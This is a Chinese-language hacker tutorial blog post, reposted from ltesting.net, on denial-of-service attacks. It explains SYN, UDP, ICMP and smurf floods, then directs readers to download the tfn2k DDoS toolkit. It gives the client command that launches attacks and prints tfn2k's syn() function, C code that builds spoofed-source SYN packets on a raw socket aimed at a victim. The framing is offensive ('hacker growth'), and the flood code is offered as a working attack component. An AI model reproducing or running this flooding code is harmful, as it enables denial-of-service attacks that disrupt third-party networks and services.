hacker成长的代码之路:DoS

发表于:2007-07-04来源:作者:点击数: 标签:
Author:kf_701 W_time:2005-06 E_mail:kf_701@21cn.com Naked Running Lab 要求的专业知识: 一: 精通OSI参考模型,精通 网络 五层:物理层,数据链路层,网络 层,传输层,应用层。 精通每一层的协议,数据报格式。精通网络 拓扑结构,第一层,第二层,第
Author:kf_701  W_time:2005-06  E_mail:kf_701@21cn.com  Naked Running Lab


要求的专业知识
        一:    精通OSI参考模型,精通网络五层:物理层,数据链路层,网络层,传输层,应用层。
                精通每一层的协议,数据报格式。精通网络拓扑结构,第一层,第二层,第三层的网
                络互联,数据的转发和路由等。

        二:    精通C语言程序设计,UNIX/LINUX程序设计,网络程序设计。熟悉UNIX/LINUX系
                统操作,熟悉著名服务的基本配置,特性及使用的端口号。熟悉经典网络命令的使用,
                如.netstat,ping,traceroute,netcat,arp等。

        三:    精通标准SQL语言,熟悉流行的数据库使用,如:Oracle,Mysql等。掌握数据库与
                WEB语言的结合使用。

        DoS的攻击方式很多,主要使用的攻击有4种,分别是TCP-SYN flood,UDP flood,ICMP,
flood,smurf。 

TCP--- 当用户进行一次标准的TCP连接时,会有一个3次握手过程。首先是请求服务方发送一个SYN消息,
服务方收到SYN后,会向请求方回送一个SYN-ACK表示确认,当请求方收到SYN-ACK后,再次向服务方发送一
个ACK消息,这样,一次TCP连接建立成功。但是TCP-SYN flood在实现过程中只进行前2个步骤:当服务方
收到请求方的SYN-ACK确认消息后,请求方由于采用源地址欺骗等手段使得服务方收不到ACK回应,于是,
服务方会在一定时间处于等待接收请求方ACK消息的状态。对于某台服务器来说,可用的TCP连接是有限的
,如果恶意攻击方快速连续地发送此类连接请求,该服务器可用的TCP连接队列将很快被阻塞,系统可用资
源急剧减少,网络可用带宽迅速缩小,长此下去,网络将无法向用户提供正常的服务。 

UDP---- 由于UDP(用户数据包协议)在网络中的应用比较广泛,基于UDP攻击种类也较多。如今在
Internet上提供WWW和Mail等服务设备通常是使用Unix的服务器,它们默认一些被恶意利用的UDP服务,如
echo和chargen服务,它会显示接收到的每一个数据包,而原本作为测试功能的chargen服务会在收到每一
个数据包时随机反馈一些字符,如果恶意攻击者将这2个UDP服务互指,则网络可用带宽将很快耗尽。 

ICMP----由于在早期的阶段,路由器对包的最大尺寸都有限制,许多操作系统对TCP/IP栈的实现在ICMP包
上都是规定64KB,并且在对包的标题头进行读取之后,要根据该标题头里包含的信息来为有效载荷生成缓
冲区,当产生畸形的,声称自己的尺寸超过ICMP上限的包也就是加载的尺寸超过64K上限时,就会出现内存
分配错误,导致TCP/IP堆栈崩溃,致使接受方当机。如果对方的操作系统已经可以防御堆栈崩溃,也占去
许多带宽。

Smurf----一个简单的smurf攻击通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)
数据包来淹没受害主机的方式进行,最终导致该网络的所有主机都对此ICMP应答请求作出答复,导致网络
阻塞,比ping of death洪水的流量高出一或两个数量级。更加复杂的Smurf将源地址改为第三方的受害
者,最终导致第三方雪崩。

        Wonderful tool,such as tfn2k.有这么好的东西,而且它的代码又是如此的简单,我想我没有
必要再写一个示范性的代码了,既省了力气,又不会丢人现眼。哈哈。

        先下载其源代码包 tfn2k.tgz,网上处可以找到,其使用方法,也不多说。

        简单说一下吧。use tcp-syn as example:

td进程的main调用tribe_cmd,tribe_cmd根据参数id来调用相应例程,当id是ID_SENDSYN,则调用
commence_syn,commence_syn生成一个子进程(fork),这个子进程里有一个while(1),里面调用syn
函数,也就是发送攻击的主要函数了,下面给出了。

也许有人不能明白,参数id从何而来,那是client端tfn发给server端td的,其实也就是来自用户的输入。
即:tfn -h host -c id -i target 命令中的id.

     24 syn (unsigned long victim, unsigned short port)
     25 {
     26   struct sa sin;
     27   struct ip *ih = (struct ip *) synb;
     28   struct tcp *th = (struct tcp *) (synb + sizeof (struct ip));
     29   ih->ver = 4;
     30   ih->ihl = 5;
     31   ih->tos = 0x00;
     32   ih->tl = sizeof (ih) + sizeof (th);
     33   ih->id = htons (getrandom (1024, 65535));
     34   ih->off = 0;
     35   ih->ttl = getrandom (200, 255);
     36   ih->pro = TCP;
     37   ih->sum = 0;
     38   ih->src = k00lip ();
     39   ih->dst = victim;
     40   th->src = htons (getrandom (0, 65535));
     41   if (port > 0)
     42     th->dst = htons (port);
     43   else
     44     th->dst = htons (getrandom (0, 65535));
     45   th->seq = htonl (getrandom (0, 65535) + (getrandom (0, 65535) << 8));
     46   th->ack = htons (getrandom (0, 65535));
     47   th->flg = SYN | URG;
     48   th->win = htons (getrandom (0, 65535));
     49   th->sum = 0;
     50   th->urp = htons (getrandom (0, 65535));
     51   th->sum = ip_sum ((u16 *) synb, (sizeof (struct ip) + sizeof (struct tcp) + 1) & ~1);
     52   ih->sum = ip_sum ((u16 *) synb, (4 * ih->ihl + sizeof (struct tcp) + 1) & ~1);
     53   sin.fam = AF_INET;
     54   sin.dp = th->dst;
     55   sin.add = ih->dst;
     56   sendto (rawsock, synb, 4 * ih->ihl + sizeof (struct tcp), 0, (struct sockaddr *) &sin, sizeof (sin));
     57 }


其文纯属盗版,真没劲,但又没有比这更好的主意了,shit!

原文转自:http://www.ltesting.net